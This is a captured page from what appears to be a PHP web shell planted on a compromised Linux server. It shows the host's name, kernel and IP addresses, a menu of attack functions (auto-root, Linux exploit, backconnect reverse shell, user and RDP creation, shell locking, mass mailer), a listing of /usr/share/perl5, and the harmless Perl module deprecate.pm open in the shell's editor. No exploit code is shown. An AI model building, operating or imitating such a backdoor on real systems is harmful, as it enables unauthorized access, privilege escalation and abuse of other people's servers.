Linux server2.hpierson.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Apache
: 162.0.216.123 | : 216.73.216.152
28 Domain
?7.4.33
yvffpqmy
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
[ HOME SHELL ]
Name
Size
Permission
Action
?;
App
[ DIR ]
drwxr-xr-x
?;
Archive
[ DIR ]
drwxr-xr-x
?;
Attribute
[ DIR ]
drwxr-xr-x
?;
B
[ DIR ]
drwxr-xr-x
?;
CPAN
[ DIR ]
drwxr-xr-x
?;
Class
[ DIR ]
drwxr-xr-x
?;
Compress
[ DIR ]
drwxr-xr-x
?;
Config
[ DIR ]
drwxr-xr-x
?;
DBM_Filter
[ DIR ]
drwxr-xr-x
?;
Devel
[ DIR ]
drwxr-xr-x
?;
Encode
[ DIR ]
drwxr-xr-x
?;
ExtUtils
[ DIR ]
drwxr-xr-x
?;
File
[ DIR ]
drwxr-xr-x
?;
Filter
[ DIR ]
drwxr-xr-x
?;
Getopt
[ DIR ]
drwxr-xr-x
?;
HTTP
[ DIR ]
drwxr-xr-x
?;
I18N
[ DIR ]
drwxr-xr-x
?;
IO
[ DIR ]
drwxr-xr-x
?;
IPC
[ DIR ]
drwxr-xr-x
?;
JSON
[ DIR ]
drwxr-xr-x
?;
LWP
[ DIR ]
drwxr-xr-x
?;
Locale
[ DIR ]
drwxr-xr-x
?;
Log
[ DIR ]
drwxr-xr-x
?;
Math
[ DIR ]
drwxr-xr-x
?;
Memoize
[ DIR ]
drwxr-xr-x
?;
Module
[ DIR ]
drwxr-xr-x
?;
Net
[ DIR ]
drwxr-xr-x
?;
Object
[ DIR ]
drwxr-xr-x
?;
Package
[ DIR ]
drwxr-xr-x
?;
Perl
[ DIR ]
drwxr-xr-x
?;
PerlIO
[ DIR ]
drwxr-xr-x
?;
Pod
[ DIR ]
drwxr-xr-x
?;
Search
[ DIR ]
drwxr-xr-x
?;
Term
[ DIR ]
drwxr-xr-x
?;
Test
[ DIR ]
drwxr-xr-x
?;
Text
[ DIR ]
drwxr-xr-x
?;
Thread
[ DIR ]
drwxr-xr-x
?;
Tie
[ DIR ]
drwxr-xr-x
?;
Time
[ DIR ]
drwxr-xr-x
?;
URI
[ DIR ]
drwxr-xr-x
?;
Unicode
[ DIR ]
drwxr-xr-x
?;
User
[ DIR ]
drwxr-xr-x
?;
Version
[ DIR ]
drwxr-xr-x
?;
encoding
[ DIR ]
drwxr-xr-x
?;
overload
[ DIR ]
drwxr-xr-x
?;
pod
[ DIR ]
drwxr-xr-x
?;
unicore
[ DIR ]
drwxr-xr-x
?;
vendor_perl
[ DIR ]
drwxr-xr-x
?;
warnings
[ DIR ]
drwxr-xr-x
AnyDBM_File.pm
2.56
KB
-rw-r--r--
AutoLoader.pm
14.66
KB
-rw-r--r--
AutoSplit.pm
19.18
KB
-rw-r--r--
Benchmark.pm
27.87
KB
-rw-r--r--
CORE.pod
2.7
KB
-rw-r--r--
CPAN.pm
132.91
KB
-rw-r--r--
DB.pm
18.43
KB
-rw-r--r--
DBM_Filter.pm
14.06
KB
-rw-r--r--
DirHandle.pm
1.52
KB
-rw-r--r--
Dumpvalue.pm
16.5
KB
-rw-r--r--
English.pm
4.34
KB
-rw-r--r--
FileCache.pm
5.44
KB
-rw-r--r--
FileHandle.pm
6.62
KB
-rw-r--r--
FindBin.pm
4.45
KB
-rw-r--r--
LWP.pm
21.15
KB
-rw-r--r--
Memoize.pm
34.4
KB
-rw-r--r--
NEXT.pm
18.05
KB
-rw-r--r--
PerlIO.pm
10.19
KB
-rw-r--r--
Safe.pm
24.03
KB
-rw-r--r--
SelectSaver.pm
1.05
KB
-rw-r--r--
SelfLoader.pm
16.97
KB
-rw-r--r--
Symbol.pm
4.68
KB
-rw-r--r--
Test.pm
28.13
KB
-rw-r--r--
Thread.pm
8.09
KB
-rw-r--r--
UNIVERSAL.pm
6.97
KB
-rw-r--r--
URI.pm
33.01
KB
-rw-r--r--
XSLoader.pm
9.99
KB
-rw-r--r--
_charnames.pm
29.8
KB
-rw-r--r--
autouse.pm
4.14
KB
-rw-r--r--
base.pm
6.37
KB
-rw-r--r--
bigint.pm
17.44
KB
-rw-r--r--
bignum.pm
18.23
KB
-rw-r--r--
bigrat.pm
14.11
KB
-rw-r--r--
blib.pm
2.04
KB
-rw-r--r--
bytes.pm
2.96
KB
-rw-r--r--
bytes_heavy.pl
758
B
-rw-r--r--
charnames.pm
19.22
KB
-rw-r--r--
deprecate.pm
3.01
KB
-rw-r--r--
diagnostics.pm
17.96
KB
-rw-r--r--
dumpvar.pl
14.96
KB
-rw-r--r--
feature.pm
11.06
KB
-rw-r--r--
fields.pm
9.28
KB
-rw-r--r--
filetest.pm
3.91
KB
-rw-r--r--
if.pm
1.13
KB
-rw-r--r--
integer.pm
3.19
KB
-rw-r--r--
less.pm
3.13
KB
-rw-r--r--
locale.pm
2.72
KB
-rw-r--r--
lwpcook.pod
9.05
KB
-rw-r--r--
lwptut.pod
24.89
KB
-rw-r--r--
open.pm
7.83
KB
-rw-r--r--
overload.pm
52.66
KB
-rw-r--r--
overloading.pm
1.77
KB
-rw-r--r--
perl5db.pl
302.79
KB
-rw-r--r--
perlfaq.pm
94
B
-rw-r--r--
sigtrap.pm
7.46
KB
-rw-r--r--
sort.pm
5.95
KB
-rw-r--r--
strict.pm
3.84
KB
-rw-r--r--
subs.pm
845
B
-rw-r--r--
utf8.pm
7.6
KB
-rw-r--r--
utf8_heavy.pl
30.1
KB
-rw-r--r--
vars.pm
2.3
KB
-rw-r--r--
vmsish.pm
4.22
KB
-rw-r--r--
warnings.pm
18.34
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : deprecate.pm
package deprecate; use strict; use warnings; our $VERSION = 0.02; # our %Config can ignore %Config::Config, e.g. for testing our %Config; unless (%Config) { require Config; *Config = \%Config::Config; } # This isn't a public API. It's internal to code maintained by the perl-porters # If you would like it to be a public API, please send a patch with # documentation and tests. Until then, it may change without warning. sub __loaded_from_core { my ($package, $file, $expect_leaf) = @_; foreach my $pair ([qw(sitearchexp archlibexp)], [qw(sitelibexp privlibexp)]) { my ($site, $priv) = @Config{@$pair}; if ($^O eq 'VMS') { for my $d ($site, $priv) { $d = VMS::Filespec::unixify($d) }; } # Just in case anyone managed to configure with trailing /s s!/*$!!g foreach $site, $priv; next if $site eq $priv; if (uc("$priv/$expect_leaf") eq uc($file)) { return 1; } } return 0; } sub import { my ($package, $file) = caller; my $expect_leaf = "$package.pm"; $expect_leaf =~ s!::!/!g; if (__loaded_from_core($package, $file, $expect_leaf)) { my $call_depth=1; my @caller; while (@caller = caller $call_depth++) { last if $caller[7] # use/require and $caller[6] eq $expect_leaf; # the package file } unless (@caller) { require Carp; Carp::cluck(<<"EOM"); Can't find use/require $expect_leaf in caller stack EOM return; } # This is fragile, because it # is directly poking in the internals of warnings.pm my ($call_file, $call_line, $callers_bitmask) = @caller[1,2,9]; if (defined $callers_bitmask && (vec($callers_bitmask, $warnings::Offsets{deprecated}, 1) || vec($callers_bitmask, $warnings::Offsets{all}, 1))) { warn <<"EOM"; $package will be removed from the Perl core distribution in the next major release. Please install it from CPAN. It is being used at $call_file, line $call_line. EOM } } } 1; __END__ =head1 NAME deprecate - Perl pragma for deprecating the core version of a module =head1 SYNOPSIS use deprecate; # always deprecate the module in which this occurs use if $] > 5.010, 'deprecate'; # conditionally deprecate the module =head1 DESCRIPTION This module is used using C<use deprecate;> (or something that calls C<< deprecate->import() >>, for example C<use if COND, deprecate;>). If the module that includes C<use deprecate> is located in a core library directory, a deprecation warning is issued, encouraging the user to use the version on CPAN. If that module is located in a site library, it is the CPAN version, and no warning is issued. =head2 EXPORT None by default. The only method is C<import>, called by C<use deprecate;>. =head1 SEE ALSO First example to C<use deprecate;> was L<Switch>. =head1 AUTHOR Original version by Nicholas Clark =head1 COPYRIGHT AND LICENSE Copyright (C) 2009, 2011 This library is free software; you can redistribute it and/or modify it under the same terms as Perl itself, either Perl version 5.10.0 or, at your option, any later version of Perl 5 you may have available. =cut
Close
